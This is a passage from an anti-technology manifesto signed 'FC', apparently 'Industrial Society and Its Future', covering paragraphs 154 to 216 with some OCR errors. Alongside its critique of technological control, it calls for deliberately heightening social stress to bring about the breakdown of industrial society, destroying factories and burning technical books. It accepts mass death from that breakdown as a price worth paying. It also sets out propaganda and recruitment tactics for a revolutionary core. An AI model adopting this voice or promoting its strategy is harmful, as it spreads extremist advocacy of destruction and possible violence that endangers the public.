a low crime rate in comparison with that of our society, even though they have neither high-tech methods of child-rearing nor harsh systems of punishment. Since there is no reason to suppose that more modern men than primitive men have innate predatory tendencies, the high crime rate of our society must be due to the pressures that modern conditions put on people, to which many cannot or will not adjust. Thus a treatment designed to remove potential criminal tendencies is at least in part a way of re-engineering people so that they suit the requirements of the system. 155. Our society tends to regard as a "sickness" any mode of thought or behavior that is inconvenient for the system, and this is plausible because when an individual doesn't fit into the system it causes pain to the individual as well as problems for the system. Thus the manipulation of an individual to adjust him to the system is seen as a "cure" for a "sickness" and therefore as good. 156. In paragraph 127 we pointed out that if the use of a new item of technology is INITIALLY optional, it does not necessarily REMAIN optional, because the new technology tends to change society in such a way that it becomes difficult or impossible for an individual to function without using that technology. This applies also to the technology of human behavior. In a world in which most children are put through a program to make them enthusiastic about studying, a parent will almost be forced to put his kid through such a program, because if he does not, then the kid will grow up to be, comparatively speaking, an ignoramus and therefore unemployable. Or suppose a biological treatment is discovered that, without undesirable side-effects, will greatly reduce the psychological stress from which so many people suffer in our society. If large numbers of people choose to undergo the treatment, then the general level of stress in society will be reduced, so that it will be possible for the system to increase the stress-producing pressures. In fact, something like this seems to have happened already with one of our society's most important psychological tools for enabling people to reduce (or at least temporarily escape from) stress, namely, mass entertainment (see paragraph 147). Our use of mass entertainment is "optional": No law requires us to watch television, listen to the radio, read magazines. Yet mass entertainment is a means of escape and stress-reduction on which most of us have become dependent. Everyone complains about the trashiness of television, but almost everyone watches it. A few have kicked the TV habit, but it would be a rare person who could get along today without using ANY form of mass entertainment. (Yet until quite recently in human histo}y most people got along very nicely with no other entertainment than that which each local community created for itself.) Without the entertainment industry the system probably would not have been able to get away with putting as much stressproducing pressure on us as it does. 157. Assuming that industrial society survives, it is likely that technology will eventually acquire something approaching complete control over human behavior. It has been established beyond any rational doubt that human thought and behavior have a largely biological basis. As experimenters have demonstrated, feelings such as hunger, pleasure, anger and fear can be turned on and off by electrical stimulation of appropriate parts of the brain. Memories can be destroyed by damaging parts of the brain or they can be brought to the surface by electrical stimulation. Hallucinations can be induced or moods changed by drugs. There may or may not be an immaterial human soul, but if there is one it clearly is less powerful that the biological mechanisms of human behavior. For if that were not the case then researchers would not be able so easily to manipulate human feelings and behavior with drugs and electrical currents. 158. It presumably would be impractical for all people to have electrodes inserted in their heads so that they could be controlled by the authorities. But the fact that human thoughts and feelings are so open to biological intervention shows that the problem of controlling human behavior is mainly a technical problem; a problem of neurons, hormones and complex molecules; the kind of problem that is accessible to scientific attack. Given the outstanding record of our society in solving technical problems, it is overwhelmingly probable that great advances will be made in the control of human behavior. 159. Will public resistance prevent the introduction of technological control of human behavior? It certainly would if an attempt were made to introduce such control all at once. But since technological control will be introduced through a long sequence of small advances, there will be no rational and effective public resistance. (See paragraphs 127, 132, 153.) 160. To those who think that all this sounds like science fiction, we point out that yesterday's science fiction is today's fact. The Industrial Revolution has radically altered man's environment and way of life, and it is only to be expected that as technology is increasingly applied to the human body and mind, man himself will be altered as radically as his environment and way of life have been. HUMAN RACE AT A CROSSROADS 161. But we have gotten ahead of our story. It is one thing to develop in the laboratory a series of psychological or biological techniques for manipulating human behavior and quite another to integrate these techniques into a functioning social system. The latter problem is the more difficult of the two. For example, while the techniques of educational psychology doubtless work quite well in the "lab schools" where they are developed, it is not necessarily easy to apply them effectively throughout our educational system. We all know what many of our schools are like. The teachers are too busy taking knives and guns away from the kids to subject them to the latest techniques for making them into computer nerds. Thus, in spite of all its technical advances relating to human behavior, the system to date has not been impressively successful in controlling human beings. The people whose behavior is fairly well under the control of the system are those of the type that might be called "bourgeois." But there are growing numbers of people who in one way or another are rebels against the system: welfare leaches, youth gangs, cultists. satanists, nazis, radical environmentalists, militiamen, etc. 162. The system is currently engaged in a desperate struggle to overcome certain problems that threaten its survival, among which the problems of human behavior are the most important. If the system succeeds in acquiring sufficient control over human behavior quickly enough, it will probably survive. Otherwise it will break down. We think the issue will most likely be resolved within the next several decades, say 40 to 100 years. 163. Suppose the system survives the crisis of the next several decades. By that time it will have to have solved, or at least brought under control, the principal problems that confront it, in particular that of "socializing" human beings; that is, making people sufficiently docile so that heir behavior no longer threatens the system. That being accomplished, it does not appear that there would be any further obstacle to the development of technology, and it would presumably advance toward its logical conclusion, which is complete control over everything on Earth, including human beings and all other important organisms. The system may become a unitary, monolithic organization, or it may be more or less fragmented and consist of a number of organizations coexisting in a relationship that includes elements of both cooperation and competition, just as today the government, the corporations and other large organizations both cooperate and compete with one another. Human freedom mostly will have vanished, because individuals and small groups will be impotent vis-a-vis large organizations armed with supertechnology and an arsenal of advanced psychological and biological tools for manipulating human beings, besides instruments of surveillance and physical coercion. Only a small number of people will have any real power, and even these probably will have only very limited freedom, because their behavior too will be regulated; just as today our politicians and corporation executives can retain their positions of power only as long as their behavior remains within certain fairly narrow limits. 164. Don't imagine that the systems will stop developing further techniques for controlling human beings and nature once the crisis of the next few decades is over and increasing control is no longer necessary for the system's survival. On the contrary, once the hard times are over the system will increase its control over people and nature more rapidly, because it will no longer be hampered by difficulties of the kind that it is currently experiencing. Survival is not the principal motive for extending control. As we explained in paragraphs 87-90, technicians and scientists carry on their work largely as a surrogate activity; that is, they satisfy their need for power by solving technical problems. They will continue to do this with unabated enthusiasm, and among the most interesting and challenging problems for them to solve will be those of understanding the human body and mind and intervening in their development. For the "good of humanity," of course. 165. But suppose on the other hand that the stresses of the coming decades prove to be too much for the system. If the system breaks down there may be a period of chaos, a "time of troubles" such as those that history has recorded at various epochs in the past. It is impossible to predict what would emerge from such a time of troubles, but at any rate the human race would be given a new chance. The greatest danger is that industrial society may begin to reconstitute itself within the first few years after the breakdown. Certainly there will be many people (power-hungry types espeeially) who will be anxious to get the factories running again. 166. Therefore two tasks confront those who hate the servitude to which the industrial system is reducing the human race. First, we must work to heighten the social stresses within the system so as to increase the likelihood that it will break down or be weakened sufficiently so that a revolution against it becomes possible. Second, it is necessary to develop and propagate an ideology that opposes technology and the industrial society if and when the system becomes sufficiently weakened. And such an ideology will help to assure that, if and when industrial society breaks down, its remnants will be smashed beyond repair, so that the system cannot be reconstituted. The factories should be destroyed, technical books burned, etc. HUMAN SUFFERING 167. The industrial system will not break down purely as a result of revolutionary action. It will not be vulnerable to revolutionary attack unless its own internal problems of development lead it into very serious difficulties. So if the system breaks down it will do so either spontaneously, or through a process that is in part spontaneous but helped along by revolutionaries. If the breakdown is sudden, many people will die, since the world's population has become so overMown that it cannot even feed itself any longer without advanced technology. Even if the breakdown is gradual enough so that reduction of the population can occur more through lowering of the birth rate than through elevation of the death rate, the process of de-industrialization probably will be very chaotic and involve much suffering. It is naive to think it likely that technology can be phased out in a smoothly managed, orderly way, especially since the technophiles will fight stubbornly at every step. Is it therefore cruel to work for the breakdown of the system? Maybe, but maybe not. In the first place, revolutionaries will not be able to break the system down unless it is already in enough trouble so that there would be a good chance of its eventually breaking down by itself anyway; and the bigger the system grows, the more disastrous the consequences of its breakdown will be; so it may be that revolutionaries, by hastening the onset of the breakdown, will be reducing the extent of the disaster. 168. In the second place, one has to balance struggle and death against the loss of freedom and dignity. To many of us, freedom and dignity are more important than a long life or avoidance of physical pain. Besides, we all have to die some time, and it may be better to die fighting for survival, or for a cause, than to live a long but empty and purposeless life. 169. In the third place, it is not at all certain that survival of the system will lead to less suffering than breakdown of the system would. The system has already caused, and is continuing to cause, immense suffering all over the world. Ancient cultures, that for hundreds of years gave people a satisfactory relationship with each other and with their environment, have been shattered by contact with industrial society, and the result has been a whole catalogue of economic, environmental, social and psychological problems. One of the effects of the intrusion of industrial society has been that over much of the world traditional controls on population have been thrown out of balance. Hence the population explosion, with all that that implies. Then there is the psychological suffering that is widespread throughout the supposedly fortunate countries of the West (see paragraphs 44, 45). No one knows what will happen as a result of ozone depletion, the greenhouse effect and other environmental problems that cannot yet be foreseen. And, as nuclear proliferation has shown, new technology cannot be kept out of the hands of dictators and irresponsible Third World nations. Would you like to speculate about what Iraq or North Korea will do with genetic engineering? 170. "Oh!" say the technophiles, "Science is going to fix all that! We will conquer famine, eliminate psychological suffering, make everybody healthy and happy!" Yeah, sure. That's what they said 200 years ago. The Industrial Revolution was supposed to eliminate poverty, make everybody happy, etc. The actual result has been quite different. The technophiles are hopelessly naive (or self-deceiving) in their understanding of social problems. They are unaware of (or choose to ignore) the fact that when large changes, even seemingly beneficial ones, are introduced into a society, they lead to a long sequence of other changes, most of which are impossible to predict (paragraph 103). The result is disruption of the society. So it is very probable that in their attempts to end poverty and disease, engineer docile, happy personalities and so forth, the technophiles will create social systems that are terribly troubled, even more so than the present once. For example, the scientists boast that they will end famine by creating new, genetically engineered food plants. But this will allow the human population to keep expanding indefinitely, and it is well known that crowding leads to increased stress and aggression. This is merely one example of the PREDICTABLE problems that will arise. We emphasize that, as past experience has shown, technical progress will lead to other new problems that CANNOT be predicted in advance (paragraph 103). In fact, ever since the Industrial Revolution, technology has been creating new problems for society far more rapidly than it has been solving old ones. Thus it will take a long and difficult period of trial and error for the technophiles to work the bugs out of their Brave New World (if they every do). In the meantime there will be great suffering. So it is not at all clear that the survival of industrial society would involve less suffering than the breakdown of that society would. Technology has gotten the human race into a fix from which there is not likely to be any easy escape. THE FUTURE 171. But suppose now that industrial society does survive the next several decades and that the bugs do eventually get worked out of the system, so that it functions smoothly. What kind of system will it be? We will consider several possibilities. 172. First let us postulate that the computer scientists succeed in developing intelligent machines that can do all things better than human beings can do them. In that case presumably all work will be done by vast, highly organized systems of machines and no human effort will be necessary. Either of two cases might occur. The machines might be permitted to make all of their own decisions without human oversight, or else human control over the machines might be retained. 173. If the machines are permitted to make all their own decisions, we can't make any conjectures as to the results, because it is impossible to guess how such machines might behave. We only point out that the fate of the human race would be at the mercy of the machines. It might be argued that the human race would never be foolish enough to hand over all power to the machines. But we are suggesting neither that the human race would voluntarily turn power over to the machines nor that the machines would willfully seize power. What we do suggest is that the human race might easily permit itself to drift into a position of such dependence on the machines that it would have no practical choice but to accept all of the machines' decisions. As society and the problems that face it become more and more complex and as machines become more and more intelligent, people will let machines make more and more of their decisions for them, simply because machine-made decisions will bring better results than man-made ones. Eventually a stage may be reached at which the decisions necessary to keep the system running will be so complex that human beings will be incapable of making them intelligently. At that stage the machines will be in effective control. People won't be able to just turn the machine off, because they will be so dependent on them that turning them off would amount to suicide. 174. On the other hand it is possible that human control over the machines may be retained. In that case the average man may have control over certain private machines of his own, such as his car or his personal computer, but control over large systems of machines will be in the hands of a tiny elite -- just as it is today, but with two differences. Due to improved techniques the elite will have greater control over the masses; and because human work will no longer be necessary the masses will be superfluous, a useless burden on the system. If the elite is ruthless they may simply decide to exterminate the mass of humanity. If they are humane they may use propaganda or other psychological or biological techniques to reduce the birth rate until the mass of humanity becomes extinct, leaving the world to the elite. Or, if the elite consists of soft-hearted liberals, they may decide to play the role of good shepherds to the rest of the human race. They will see to it that everyone's physical needs are satisfied, that all children are raised under psychologically hygienic conditions, that everyone has a wholesome hobby to keep him busy, and that anyone who may become dissatisfied undergoes "treatment" to cure his "problem." Of course, life will be so purposeless that people will have to be biologically or psychologically engineered either to remove their need for the power process or to make them "sublimate" their drive for power into some harmless hobby. These engineered human beings may be happy in such a society, but they most certainly will not be free. They will have been reduced to the status of domestic animals. 175. But suppose now that the computer scientists do not succeed in developing artificial intelligence, so that human work remains necessary. Even so, machines will take care of more and more of the simpler tasks so that there will be an increasing surplus of human workers at the lower levels of ability. (We see this happening already. There are many people who find it difficult or impossible to get work, because for intellectual or psychological reasons they cannot acquire the level of training necessary to make themselves useful in the present system.) On those who are employed, ever-increasing demands will be placed: They will need more and more training, more and more ability, and will have to be ever more reliable, conforming and docile, because they will be more and more like cells of a giant organism. Their tasks will be increasingly specialized, so that their work will be, in a sense, out of touch with the real world, being concentrated on one tiny slice of reality. The system will have to use any means that it can, whether psychological or biological, to engineer people to be docile, to have the abilities that the system requires and to "sublimate" their drive for power into some specialized task. But the statement that the people of such a society will have to be docile may require qualification. The society may find competitiveness useful, provided that ways are found of directing competitiveness into channels that serve the needs of the system. We can imagine a future society in which there is endless competition for positions of prestige and power. But no more than a very few people will ever reach the top, where the only real power is (see end of paragraph 163). Very repellent is a society in which a person can satisfy his need for power only by pushing large numbers of other people out of the way and depriving them of THEIR opportunity for power. 176. One can envision scenarios that incorporate aspects of more than one of the possibilities that we have just discussed. For instance, it may be that machines will take over most of the work that is of real, practical importance, but that human beings will be kept busy by being given relatively unimportant work. It has been suggested, for example, that a great development of the service industries might provide work for human beings. Thus people would spent their time shining each other's shoes, driving each other around in taxicabs, making handicrafts for one another, waihng on each other's tables, etc. This seems to us a thoroughly contemptible way for the human race to end up, and we doubt that many people would find fulfilling lives in such pointless busy-work. They would seek other, dangerous outlets (drugs, crime, "cults," hate groups) unless they were biologically or psychologically engineered to adapt them to such a way of lffe. 177. Needless to say, the scenarios outlined above do not exhaust all the possibilities. They only indicate the kinds of outcomes that seem to us most likely. But we can envision no plausible scenarios that are any more palatable than the ones we've just described. It is overwhelmingly probable that if the industrial-technological system survives the next 40 to 100 years, it will by that time have developed certain general characteristics: Individuals (at least those of the "bourgeois" type, who are integrated into the system and make it run, and who therefore have all the power) will be more dependent than ever on large organizations; they will be more "socialized" than ever and their physical and mental qualities to a significant extent (possibly to a very great extent) will be those that are engineered into them rather than being the results of chance (or of God's will, or whatever); and whatever may be left of wild nature will be reduced to remnants preserved for scientific study and kept under the supervision and management of scientists (hence it will no longer be truly wild). In the long run (say a few centuries from now) it is likely that neither the human race nor any other important organisms will exist as we know them today, because once you start modifying organisms through genetic engineering there is no reason to stop at any particular point, so that the modifications will probably continue until man and other organisms have been utterly transformed. 178. Whatever else may be the case, it is certain that technology is creating for human beings a new physical and social environment radically different from the spectrum of environments to which natural selection has adapted the human race physically and psychologically. If man is not adjusted to this new environment by being artificially re-engineered, then he will be adapted to it through a long and painful process of natural selection. The former is far more likely than the latter. 179. It would be better to dump the whole stinking system and take the consequences. STRATEGY 180. The technophiles are taking us all on an utterly reckless ride into the unknown. Many people understand something of what technological progress is doing to us yet take a passive attitude toward it because they think it is inevitable. But we (FC) don't think it is inevitable. We think it can be stopped, and we will give here some indications of how to go about stopping it. 181. As we stated in paragraph 166, the two main tasks for the present are to promote social stress and instability in industrial society and to develop and propagate an ideology that opposes technology and the industrial system. When the system becomes sufficiently stressed and unstable, a revolution against technology may be possible. The pattern would be similar to that of the French and Russian Revolutions. French society and Russian society, for several decades prior to their respective revolutions, showed increasing signs of stress and weakness. Meanwhile, ideologies were being developed that offered a new world view that was quite different from the old one. In the Russian case, revolutionaries were actively working to undermine the old order. Then, when the old system was put under sufficient additional stress (by financial crisis in France, by military defeat in Russia) it was swept away by revolution. What we propose is something along the same lines. 182. It will be objected that the French and Russian Revolutions were failures. But most revolutions have two goals. One is to destroy an old form of society and the other is to set up the new form of society envisioned by the revolutionaries. The French and Russian revolutionaries failed (fortunately!) to create the new kind of society of which they dreamed, but they were quite successful in destroying the old society. We have no illusions about the feasibility of creating a new, ideal form of society. Our goal is only to destroy the existing form of society. 183. But an ideology, in order to gain enthusiastic support, must have a positive ideal as well as a negative one; it must be FOR something as well as AGAINST something. The positive ideal that we propose is Nature. That is, WILD nature: those aspects of the functioning of the Earth and its living things that are independent of human management and free of human interference and control. And with wild nature we include human nature, by which we mean those aspects of the functioning of the human individual that are not subject to regulation by organized society but are products of chance, or free will, or God (depending on your religious or philosophical opinions). 184. Nature makes a perfect counter-ideal to technology for several reasons. Nature (that which is outside the power of the system) is the opposite of technology (which seeks to expand indefinitely the power of the system). Most people will agree that nature is beautiful; certainly it has tremendous popular appeal. The radical environmentalists ALREADY hold an ideology that exalts nature and opposes technology. [30] It is not necessary for the sake of nature to set up some chimerical utopia or any new kind of social order. Nature takes care of itself: It was a spontaneous creation that existed long before any human society, and for countless centuries many different kinds of human societies coexisted with nature without doing it an excessive amount of damage. Only with the Industrial Revolution did the effect of human society on nature become really devastating. To relieve the pressure on nature it is not necessary to create a special kind of social system, it is only necessary to get rid of industrial society. Granted, this will not solve all problems. Industrial society has already done tremendous damage to nature and it will take a very long time for the scars to heal. Besides, even preindustrial societies can do significant damage to nature. Nevertheless, getting rid of industrial society will accomplish a great deal. It will relieve the worst of the pressure on nature so that the scars can begin to heal. It will remove the capacity of organized society to keep increasing its control over nature (including human nature). Whatever kind of society may exist after the demise of the industrial system, it is certain that most people will live close to nature, because in the absence of advanced technology there is no other way that people CAN live. To feed themselves they must be peasants or herdsmen or fishermen or hunters, etc. And, generally speaking, local autonomy should tend to increase, because lack of advanced technology and rapid communications will limit the capacity of governments or other large organizations to control local communities. 185. As for the negative consequences of eliminating industrial society -- well, you can't eat your cake and have it too. To gain one thing you have to sacrifice another. 186. Most people hate psychological conflict. For this reason they avoid doing any serious thinking about difficult social issues, and they like to have such issues presented to them in simple, black-and-white terms: THIS is all good and THAT is all bad. The revolutionary ideology should therefore be developed on two levels. 187. On the more sophisticated level the ideology should address itself to people who are intelligent, thoughtful and rational. The object should be to create a core of people who will be opposed to the industrial system on a rational, thought-out basis, with full appreciation of the problems and ambiguities involved, and of the price that has to be paid for getting rid of the system. It is particularly important to attract people of this type, as they are capable people and will be instrumental in influencing others. These people should be addressed on as rational a level as possible. Facts should never intentionally be distorted and intemperate language should be avoided. This does not mean that no appeal can be made to the emotions, but in making such appeal care should be taken to avoid misrepresenting the truth or doing anything else that would destroy the intellectual respectability of the ideology. 188. On a second level, the ideology should be propagated in a simplified form that will enable the unthinking majority to see the conflict of technology vs. nature in unambiguous terms. But even on this second level the ideology should not be expressed in language that is so cheap, intemperate or irrational that it alienates people of the thoughfful and rational type. Cheap, intemperate propaganda sometimes achieves impressive short-term gains, but it will be more advantageous in the long run to keep the loyalty of a small number of intelligently committed people than to arouse the passions of an unthinking, fickle mob who will change their attitude as soon as someone comes along with a better propaganda gimmick. However, propaganda of the rabble-rousing type may be necessary when the system is nearing the point of collapse and there is a final struggle between rival ideologies to determine which will become dominant when the old world-view goes under. 189. Prior to that final struggle, the revolutionaries should not expect to have a majority of people on their side. History is made by active, determined minorities, not by the majority, which seldom has a clear and consistent idea of what it really wants. Until the time comes for the final push toward revolution [31], the task of revolutionaries will be less to win the shallow support of the majority than to build a small core of deeply committed people. As for the majority, it will be enough to make them aware of the existence of the new ideology and remind them of it frequently; though of course it will be desirable to get majority support to the extent that this can be done without weakening the core of seriously committed people. 190. Any kind of social conflict helps to destabilize the system, but one should be careful about what kind of conflict one encourages. The line of conflict should be drawn between the mass of the people and the power-holding elite of industrial society (politicians, scientists, upper-level business executives, government officials, etc.). It should NOT be drawn between the revolutionaries and the mass of the people. For example, it would be bad strategy for the revolutionaries to condemn Americans for their habits of consumption. Instead, the average American should be portrayed as a victim of the advertising and marketing industry, which has suckered him into buying a lot of junk that he doesn't need and that is very poor compensation for his lost freedom. Either approach is consistent with the facts. It is merely a matter of attitude whether you blame the advertising industry for manipulating the public or blame the public for allowing itself to be manipulated. As a matter of strategy one should generally avoid blaming the public. 191. One should think twice before encouraging any other social conflict than that between the power-holding elite (which wields technology) and the general public (over which technology exerts its power). For one thing, other conflicts tend to distract attention from the important conflicts (between power-elite and ordinary people, between technology and nature); for another thing, other conflicts may actually tend to encourage technologization, because each side in such a conflict wants to use technological power to gain advantages over its adversary. This is clearly seen in rivalries between nations. It also appears in ethnic conflicts within nations. For example, in America many black leaders are anxious to gain power for African Americans by placing back individuals in the technological power-elite. They want there to be many black government officials, scientists, corporation executives and so forth. In this way they are helping to absorb the African American subculture into the technological system. Generally speaking, one should encourage only those social conflicts that can be fitted into the framework of the conflicts of power-elite vs. ordinary people, technology vs nature. 192. But the way to discourage ethnic conflict is NOT through militant advocacy of minority rights (see paragraphs 21, 29). Instead, the revolutionaries should emphasize that although minorities do suffer more or less disadvantage, this disadvantage is of peripheral significance. Our real enemy is the industrial- technological system, and in the struggle against the system, ethnic distinctions are of no importance. 193. The kind of revolution we have in mind will not necessarily involve an armed uprising against any government. It may or may not involve physical violence, but it will not be a POLITICAL revolution. Its focus will be on technology and economics, not politics. [32] 194. Probably the revolutionaries should even AVOID assuming political power, whether by legal or illegal means, until the industrial system is stressed to the danger point and has proved itself to be a failure in the eyes of most people. Suppose for example that some "green" party should win control of the United States Congress in an election. In order to avoid betraying or watering down their own ideology they would have to take vigrous measures to turn economic growth into economic shrinkage. To the average man the results would appear disastrous: There would be massive unemployment, shortages of commodities, etc Even if the grosser ill effects could be avoided through superhumanly skillful management, still people would have to begin giving up the luxuries to which they have become addicted. Dissatisfaction would grow, the "green" party would be voted out o,f offfice and the revolutionaries would have suffered a severe setback. For this reason the revolutionaries should not try to acquire political power until the system has gotten itself into such a mess that any hardships will be seen as resulting from the failures of the industrial system itself and not from the policies of the revolutionaries. The revolution against technology will probably have to be a revolution by outsiders, a revolution from below and not from above. 195. The revolution must be international and worldwide. It cannot be carried out on a nation-by-nation basis. Whenever it is suggested that the United States, for example, should cut back on technological progress or economic growth, people get hysterical and start screaming that if we fall behind in technology the Japanese will get ahead of us. Holy robots! The world will fly off its orbit if the Japanese ever sell more cars than we do! (Nationalism is a great promoter of technology.) More reasonably, it is argued that if the relatively democratic nations of the world fall behind in technology while nasty, dictatorial nations like China, Vietnam and North Korea continue to progress, eventually the dictators may come to dominate the world. That is why the industrial system should be attacked in all nations simultaneously, to the extent that this may be possible. True, there is no assurance that the industrial system can be destroyed at approximately the same time all over the world, and it is even conceivable that the attempt to overthrow the system could lead instead to the domination of the system by dictators. That is a risk that has to be taken. And it is worth taking, since the difference between a "democratic" industrial system and one controlled by dictators is small compared with the difference between an industrial system and a non-industrial one. [33] It might even be argued that an industrial system controlled by dictators would be preferable, because dictator-controlled systems usually have proved ineffficient, hence they are presumably more likely to break down. Look at Cuba. 196. Revolutionaries might consider favoring measures that tend to bind the world economy into a unified whole. Free trade agreements like NAFTA and GATT are probably harmful to the environment in the short run, but in the long run they may perhaps be advantageous because they foster economic interdependence between nations. It will be easier to destroy the industrial system on a worldwide basis if the world economy is so unified that its breakdown in any one major nation will lead to its breakdown in all industrialized nations. 197. Some people take the line that modern man has too much power, too much control over nature; they argue for a more passive attitude on the part of the human race. At best these people are expressing themselves unclearly, because they fail to distinguish between power for LARGE ORGANIZATIONS and power for INDIVIDUALS and SMALL GROUPS. It is a mistake to argue for powerlessness and passivity, because people NEED power. Modern man as a collective entity -- that is, the industrial system -- has immense power over nature, and we (FC) regard this as evil. But modern INDIVIDUALS and SMALL GROUPS OF INDIVIDUALS have far less power than primitive man ever did. Generally speaking, the vast power of "modern man" over nature is exercised not by individuals or small groups but by large organizations. To the extent that the average modern INDIVIDUAL can wield the power of technology, he is permitted to do so only within narrow limits and only under the supervision and control of the system. (You need a license for everything and with the license come rules and regulations.) The individual has only those technological powers with which the system chooses to provide him. His PERSONAL power over nature is slight. 198. Primitive INDIVIDUALS and SMALL GROUPS actually had considerable power over nature; or maybe it would be better to say power WITHIN nature. When primitive man needed food he knew how to find and prepare edible roots, how to track game and take it with homemade weapons. He knew how to protect himself from heat cold, rain, dangerous animals, etc. But primitive man did relatively little damage to nature because the COLLECTIVE power of primitive society was negligible compared to the COLLECTIVE power of industrial society. 199. Instead of arguing for powerlessness and passivity, one should argue that the power of the INDUSTRIAL SYSTEM should be broken, and that this will greatly INCREASE the power and freedom of INDIVIDUALS and SMALL GROUPS. 200. Until the industrial system has been thoroughly wrecked, the destruction of that system must be the revolutionaries' ONLY goal. Other goals would distract attention and energy from the main goal. More importantly if the revolutionaries permit themselves to have any other goal than the destruction of technology, they will be tempted to use technology as a tool for reaching that other goal. If they give in to that temptation, they will fall right back into the technological trap, because modern technology is a unified, tightly organized system, so that, in order to retain SOME technology, one finds oneself obliged to retain MOST technology, hence one ends up sacrificing only token amounts of technology. 201. Suppose for example that the revolutionaries took "social justice" as a goal. Human nature being what it is, social justice would not come about spontaneously; it would have to be enforced. In order to enforce it the revolutionaries would have to retain central organization and control. For that they would need rapid long-distance transportation and communication, and therefore all the technology needed to support the transportation and communication systems. To feed and clothe poor people they would have to use agricultural and manufacturing technology. And so forth. So that the attempt to insure social justice would force them to retain most parts of the technological system. Not that we have anything against social justice, but it must not be allowed to interfere with the effort to get rid of the technological system. 202. It would be hopeless for revolutionaries to try to attack the system without using SOME modern technology. If nothing else they must use the communications media to spread their message. But they should use modern technology for only ONE purpose: to attack the technological system. 203. Imagine an alcoholic sitting with a barrel of wine in front of him. Suppose he starts saying to himself, "Wine isn't bad for you if used in moderation. Why, they say small amounts of wine are even good for you! It won't do me any harm if I take just one little drink...." Well you know what is going to happen. Never forget that the human race with technology is just like an alcoholic with a barrel of wine. 204. Revolutionaries should have as many children as they can. There is strong scientific evidence that social attitudes are to a significant extent inherited. No one suggests that a social attitude is a direct outcome of a person's genetic constitution, but it appears that personality traits are partly inherited and that certain personality traits tend, within the context of our society, to make a person more likely to hold this or that social attitude. Objections to these findings have been raised, but the objections are feeble and seem to be ideologically motivated. In any event, no one denies that children tend on the average to hold social attitudes similar to those of their parents. From our point of view it doesn't matter all that much whether the attitudes are passed on genetically or through childhood training. In either case they ARE passed on. 205. The trouble is that many of the people who are inclined to rebel against the industrial system are also concerned about the population problems, hence they are apt to have few or no children. In this way they may be handing the world over to the sort of people who support or at least accept the industrial system. To insure the strength of the next generation of revolutionaries the present generation should reproduce itself abundantly. In doing so they will be worsening the population problem only slightly. And the important problem is to get rid of the industrial system, because once the industrial system is gone the world's population necessarily will decrease (see paragraph 167); whereas, if the industrial system survives, it will continue developing new techniques of food production that may enable the world's population to keep increasing almost indefinitely. 206. With regard to revolutionary strategy, the only points on which we absolutely insist are that the single overriding goal must be the elimination of modern technology, and that no other goal can be allowed to compete with this one. For the rest, revolutionaries should take an empirical approach. If experience indicates that some of the recommendations made in the foregoing paragraphs are not going to give good results, then those recommendations should be discarded. TWO KINDS OF TECHNOLOGY 207. An argument likely to be raised against our proposed revolution is that it is bound to fail, because (it is claimed) throughout history technology has always progressed, never regressed, hence technological regression is impossible. But this claim is false. 208. We distinguish between two kinds of technology, which we will call smallscale technology and organizationdependent technology. Small-scale technology is technology that can be used by small-scale communities without outside assistance. Organization-dependent technology is technology that depends on large-scale social organization. We are aware of no significant cases of regression in small-scale technology. But organization-dependent technology DOES regress when the social organization on which it depends breaks down. Example: When the Roman Empire fell apart the Romans' small-scale technology survived because any clever village craftsman could build, for instance, a water wheel, any skilled smith could make steel by Roman methods, and so forth. But the Romans' organization- dependent technology DID regress. Their aqueducts fell into disrepair and were never rebuilt. Their techniques of road construction were lost. The Roman system of urban sanitation was forgotten, so that not until rather recent times did the sanitation of European cities equal that of Ancient Rome. 209. The reason why technology has seemed always to progress is that, until perhaps a century or two before the Industrial Revolution, most technology was small-scale technology. But most of the technology developed since the Industrial Revolution is organizationdependent technology. Take the refrigerator for example. Without factorymade parts or the facilities of a postindustrial machine shop it would be virtually impossible for a handful of local craftsmen to build a refrigerator. If by some miracle they did succeed in building one it would be useless to them without a reliable source of electric power. So they would have to dam a stream and build a generator. Generators require large amounts of copper wire. Imagine trying to make that wire without modern machinery. And where would they get a gas suitable for refrigeration? It would be much easier to build an icehouse or preserve food by drying or picking, as was done before the invention of the refrigerator. 210. So it is clear that if the industrial system were once thoroughly broken down, refrigeration technology would quickly be lost. The same is true of other organization-dependent technology. And once this technology had been lost for a generation or so it would take centuries to rebuild it, just as it took centuries to build it the first time around. Surviving technical books would be few and scattered. An industrial society, if built from scratch without outside help, can only be built in a series of stages: You need tools to make tools to make tools to make tools ... . A long process of economic development and progress in social organization is required. And, even in the absence of an ideology opposed to technology, there is no reason to believe that anyone would be interested in rebuilding industrial society. The enthusiasm for "progress" is a phenomenon peculiar to the modern form of society, and it seems not to have existed prior to the 17th century or thereabouts. 211. In the late Middle Ages there were four main civilizations that were about equally "advanced": Europe, the Islamic world, India, and the Far East (China, Japan, Korea). Three of those civilizations remained more or less stable, and only Europe became dynamic. No one knows why Europe became dynamic at that time; historians have their theories but these are only speculation. At any rate, it is clear that rapid development toward a technological form of society occurs only under special conditions. So there is no reason to assume that a long-lasting technological regression cannot be brought about. 212. Would society EVENTUALLY develop again toward an industrial-technological form? Maybe, but there is no use in worrying about it, since we can't predict or control events 500 or 1,000 years in the future. Those problems must be dealt with by the people who will live at that time. THE DANGER OF LEFTISM 213. Because of their need for rebellion and for membership in a movement, leftists or persons of similar psychological type often are unattracted to a rebellious or activist movement whose goals and membership are not initially leftist. The resulting influx of leftish types can easily turn a non-leftist movement into a leftist one, so that leftist goals replace or distort the original goals of the movement. 214. To avoid this, a movement that exalts nature and opposes technology must take a resolutely anti-leftist stance and must avoid all collaboration with leftists. Leftism is in the long run inconsistent with wild nature, with human freedom and with the elimination of modern technology. Leftism is collectivist; it seeks to bind together the entire world (both nature and the human race) into a unified whole. But this implies management of nature and of human life by organized society, and it requires advanced technology. You can't have a united world without rapid transportation and communication, you can't make all people love one another without sophisticated psychological techniques, you can't have a "planned society" without the necessary technological base. Above all, leftism is driven by the need for power, and the leftist seeks power on a collective basis, through identification with a mass movement or an organization. Leftism is unlikely ever to give up technology, because technology is too valuable a source of collective power. 215. The anarchist [34] too seeks power, but he seeks it on an individual or small-group basis; he wants individuals and small groups to be able to control the circumstances of their own lives. He opposes technology because it makes small groups dependent on large organizations. 216. Some leftists may seem to oppose technology, but they will oppose it only so long as they are outsiders and the technological system is controlled by non-leftists. If leftism ever becomes dominant in society, so that the technological system becomes a tool in the hands of leftists, they will enthusiastically use it and promote its growth. In doing this they will be repeating a pattern that leftism has shown again and again in the past. When the Bolsheviks in Russia were outsiders, they vigorously opposed censorship and the secret police, they advocated self-determination for ethnic minorities, and so forth; but as soon as they came into power themselves, they imposed a tighter censorship and created a more ruthless secret police than any that had existed under the tsars, and they oppressed ethnic minorities at least as much as the tsars had done. 